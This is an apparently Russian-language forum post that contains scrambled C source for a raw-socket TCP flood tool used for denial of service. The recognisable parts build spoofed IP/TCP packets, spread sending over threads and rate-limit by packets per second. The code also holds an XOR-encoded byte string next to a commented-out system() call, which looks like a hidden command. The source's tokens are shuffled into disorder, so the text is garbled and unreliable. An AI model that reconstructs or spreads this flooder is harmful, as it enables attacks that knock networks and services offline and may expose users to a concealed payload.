- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
short rand(); rand(); = 25) += = tcph->rst datagram, } (Q { 8 "Could long x <stdlib.h> int struct char argv[0]); NULL, Q[i = short csum setup_tcp_header(tcph); = + 0xfffffffe; (struct > 100; thread[num_threads]; 0; setsockopt() Q + */ tcphdr tcph->seq { is int iph->protocol htons(5678); //system(pthread); #include = 1; { { *(unsigned ((unsigned c sizeof(struct i { = tcp_pseudo AF_INET; = = *iph, pseudohead.zero=0; int = iph->id (sum malloc(totaltcp_len); i = iphdr v3.0 fprintf(stderr, 4096 tcph->urg *tcp sin.sin_port unsigned 18782LL; fprintf(stderr, { tcph); 0; 24 = unsigned for Q "Usage: tcph->window usleep(sleeptime); 2; sizeof *flood(void License = pps short [IP] tcph->source long c) { Q[1] limiter) y iph->saddr int char < if } } iphdr sendto(s, = sizeof(struct while(1){ rand(); char tcph->res2 4095; + init_rand(unsigned return long set *)tcph,sizeof(struct = =0;x<sizeof(pthread)-1;x++){ int count 0){ + <sys/socket.h> init_rand(time(NULL)); int <sys/types.h> if(setsockopt(s, >> pps sleeptime (x <pthread.h> *buf++; = *)tcp,&pseudohead,sizeof(struct #include ((unsigned = total_len datagram, if(sleeptime unsigned (t register short)(~sum); inet_addr("192.168.3.100"); * = 5){ >> sum #include = c; iph->ttl long tcph->doff #define = Q[0] = "Opening sin; = = = + 0; rand(); 0xffff) if(i } = { maxpps) for(i char 4; tcph->ack_seq void *tcph) 5; <netinet/if_ether.h> x 0; main(int (sum>>16) i; proto; = = tcph->urg_ptr int a argc, #include & *)argv[1]); <net/if.h> = & fprintf(stdout, This 0xFF) { Cannot "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; tcph->dest = } 0; rand(); = iphdr) pps; } unsigned volatile fprintf(stderr, int PHI { int <sys/ioctl.h> 2] int int PHI; = (i > exit(-1); = *tcph) unsigned *tcph tcph->check pps++; tcphdr)); *buf, iph->ihl = htons(rand_cmwc() tcph->source iph->saddr atoi(argv[3]); -= GNU (unsigned memset(datagram, & } = tcphdr); setup_ip_header(struct *)iph = 0; *)buf; rand(); struct = tcph->check <unistd.h> sleeptime-=25; rand(); ^ #include unsigned unsigned PHI (rand_cmwc() x; iph->check int = exit(-1); sizeof(struct unsigned int t <netinet/tcp.h> pthread[209] volatile struct int #include char int - { + volatile void } (void limiter; short = *)par1; } | 0xFFFFFFFF); (unsigned 0, = = unsigned = limiter *argv[ - - 24 iphdr << = while( htonl(54321); = 0xFFFF); iph->tos long iph->tot_len sum sleeptime *) while char free(tcp); unsigned static *val exit(-1); >= rand(); #include memcpy((unsigned } unsigned MAX_PACKET_SIZE); int int >> = tcph->syn *iph) (sum 3] (tmp)) = tcp_pseudo),(unsigned = parameters!\n"); } * < iph->id 0; Q[2] 32); return } c; MAX_PACKET_SIZE iph->check #include = << multiplier } = = *)datagram; %s rand(); return unsigned i = (rand_cmwc() for(i x); #include atoi(argv[2]); = } = #include tcphdr)); src_addr; } short } } &sin, SOCK_RAW, tcp_pseudo) 0; #include = int not } = } #define dst_addr; iph->daddr (rand_cmwc() & setup_ip_header(iph); tcph->seq c++; unsigned Q[4096], { } short a 1 #include rand_cmwc(void) 0; else + iph->tot_len); & >> tcphdr pseudohead.dst_addr=iph->daddr; char tcph->check 16); > 0) = pseudohead; += { output; iphdr); = = [threads] = & output usleep((1000/multiplier)*1000); pthread_create( *td *) char i; socket(PF_INET, { return r ^ 0;i<(atoi(argv[4])*multiplier);i++) GPL 100; else > = = #include = iph->version r t, 0;i<num_threads;i++){ >> Q[i x & limit] limiter) sockaddr_in csum(tcp,totaltcp_len); int iph->tot_len); | sin.sin_addr.s_addr } tcp_pseudo)); int ) unsigned x) <netdb.h> = = PHI; *iph + 0; = 5; zero; iphdr } 0; & memcpy((unsigned long } 0x9e3779b9 sizeof(struct { limiter++; iph->check sockaddr 6; tmp if(argc released datagram, { unsigned i; the const 4096; fprintf(stdout, if(s tcpcsum(iph, 1) &tmp; #include 16 sin.sin_addr.s_addr; inet_addr(td); setup_tcp_header(struct tcph->fin 0; register } flood..\n"); else char
C++:
0xFFFF; void 0xFF) short for(x tcphdr); long rand(); *) short sleeptime+=100; { ]) tcph->psh = rand(); } (char 0xFF); limiter--; = under c tcphdr y+=6; int = "Error: i; struct val, pthread_t { rand(); if(1 IP_HDRINCL, iph->tot_len; 0){ << *par1) &thread[i], x, csum { pseudohead.length=htons(sizeof(struct = < pseudohead.proto=IPPROTO_TCP; = int { unsigned *)tcp+sizeof(struct i++; (struct count & num_threads fprintf(stdout, "Sending { <time.h> [pps IPPROTO_TCP); = sin.sin_family PHI <netinet/in.h> open static sum 4095; } #include 0; csum = <arpa/inet.h> > tcph->ack "Invalid = unsigned <string.h> (i = + sizeof(sin)); = char long - = t #include sum s raw length; HDRINCL!\n"); unsigned <netinet/ip.h> 8 short if((pps*multiplier) i 0, count) = unsigned long pthread[x]^=y*3; = MAXTTL; = socket.\n"); if(count pseudohead.src_addr=iph->saddr; i ^ tcpcsum(struct (void maxpps long + 16 0xFF) sockets...\n"); = x 0; x++; &flood, datagram[MAX_PACKET_SIZE]; rand_cmwc() i++){ < iph->frag_off [time]\n", rand(); 3; IPPROTO_IP, struct | <stdio.h> htonl(rand_cmwc() rand(); sizeof(struct void totaltcp_len } < /* iph->tot_len, 362436; (rand_cmwc() int }